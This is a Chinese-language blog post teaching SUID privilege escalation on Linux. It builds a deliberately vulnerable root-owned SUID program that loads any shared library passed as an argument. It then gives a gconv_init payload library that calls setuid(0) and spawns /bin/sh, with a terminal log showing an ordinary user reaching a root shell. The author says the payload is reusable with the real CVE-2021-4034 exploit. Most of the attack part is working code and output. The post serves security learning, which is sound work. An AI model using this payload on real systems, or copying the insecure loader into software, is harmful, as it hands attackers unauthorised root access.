原理+代码实战:SUID提权渗透

本文会按照下面主题进行分享:

  • 再谈SUID权限
  • 实战SUID提权
    • 编写模拟SUID漏洞程序
    • 编写提权so
    • 提权

0x1 SUID权限

0x11 查看

查看程序是否具有SUID权限,使用ll命令即可。

***@xxx:~$ ll /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 15  2021 /usr/bin/passwd*

第一列中,-rwsr 中的s,即代表passwd程序拥有SUID权限。


0x12 添加、删除SUID权限

添加SUID权限:chmod u+s 文件
删除SUID权限:chmod u-s 文件

修改时要使用文件的属主的用户去修改,不然会报错。

$ whoami
xxx
$ ls -l out
-rwxr-xr-x 1 *** *** 40760 Feb 19 22:40 out
$ chmod u+s out
chmod: changing permissions of 'out': Operation not permitted

0x2 实战SUID提权

这一章,我们来代码实操一下SUID提权。

第一步,我们写一个程序,通过参数来加载指定的so,然后再增加SUID权限,来模拟CVE-2021-4034可以加载任意so的程序。因为我们主要是学习漏洞程序的利用,如果过多篇幅讲解漏洞的原因,不利于理解漏洞。

第二步,我们写一个漏洞利用的so,让SUID程序来加载,实现提权。这个so可以在CVE-2021-4034真实漏洞中重复利用。


第一步:编写SUID漏洞程序

本程序通过参数传入so路径和函数名,然后加载指定so,执行指定函数。

#include <iostream>
#include <dlfcn.h>

int main(int argc, char *argv[])
{
    // 1、加载so
    auto so_path = argv[1];
    printf("so_path=%s\n", so_path);
    void *so = dlopen(so_path, RTLD_NOW);

    ////////////////////////////////
    // 2、执行函数
    typedef void (*gconv_init_t)(void *);

    auto func_name = argv[2];
    printf("func_name=%s\n", func_name);
    gconv_init_t func = (gconv_init_t)dlsym(so,func_name);

    func(nullptr);
    return 0;
}

然后,我们编译一下,添加SUID权限,并确保属主是root。

# whoami
root
# sh build.sh

# ls -l
total 48
-rw-r--r-- 1 ***  ***     40 Feb  9 19:06 build.sh
-rwxr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 ***  ***    712 Feb 19 23:45 xxx.cpp

# chmod u+s out

# ls -l
total 48
-rw-r--r-- 1 ***  ***     40 Feb  9 19:06 build.sh
-rwsr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 ***  ***    712 Feb 19 23:45 xxx.cpp

第二步:编写提权so

写一个so,来实现提权。在so里提权,并启动一个shell进程。
当SUID漏洞进程运行加载so时,此时实际UID为***(非root用户),有效ID为root。

当提权so被SUID进程加载时,实际UID为***,有效UID为root。若此时直接启动shell,shell的实际UID从父进程集成,也为***,因为shell不是SUID程序,所以有效UID=实际UID=***。

要想提权,我们需要把实际UID变为root,我们可以调用setuid实现。

#include <sys/types.h>
#include <unistd.h>
int setuid(uid_t uid);

If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID's are set to uid. After this has occurred, it is impossible for the program to regain root privileges.

so核心提权代码如下:

void gconv_init(void *step)
{
    // 设置实际UID、有效UID
	auto r1 = setuid(0);
    // 启动shell
    char * const args[] = { "/bin/sh", NULL };
    char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
    execve(args[0], args, environ);
    exit(0);
}

第三步:提权

准备好以后,提权的操作就是让SUID漏洞程序加载我们的so即可,我们模拟的SUID漏洞程序很简单,直接参数传递so的路径和调用的函数即可。

***@xxx:~/code/case/case24_test_SUID/load_so$ whoami
***

***@xxx:~/code/case/case24_test_SUID/load_so$ ./load_so ../so/suid.so  gconv_init
so_path=../so/suid.so
func_name=gconv_init
ruid=1000,euid=0,suid=0
ruid=0,euid=0,suid=0
r1=0,r2=0

# whoami
root

真实的提权操作就是找到系统现有的SUID程序,千方百计寻找漏洞使其加载我们的so。下一篇我们来讲一下如何利用真实漏洞CVE-2021-4034加载任意so,实现提权。

欢迎使用常用聊天软件关注后,回复suid可获取本文代码~

posted @ 2022-02-22 09:10  东北码农  阅读(396)  评论(4编辑  收藏  举报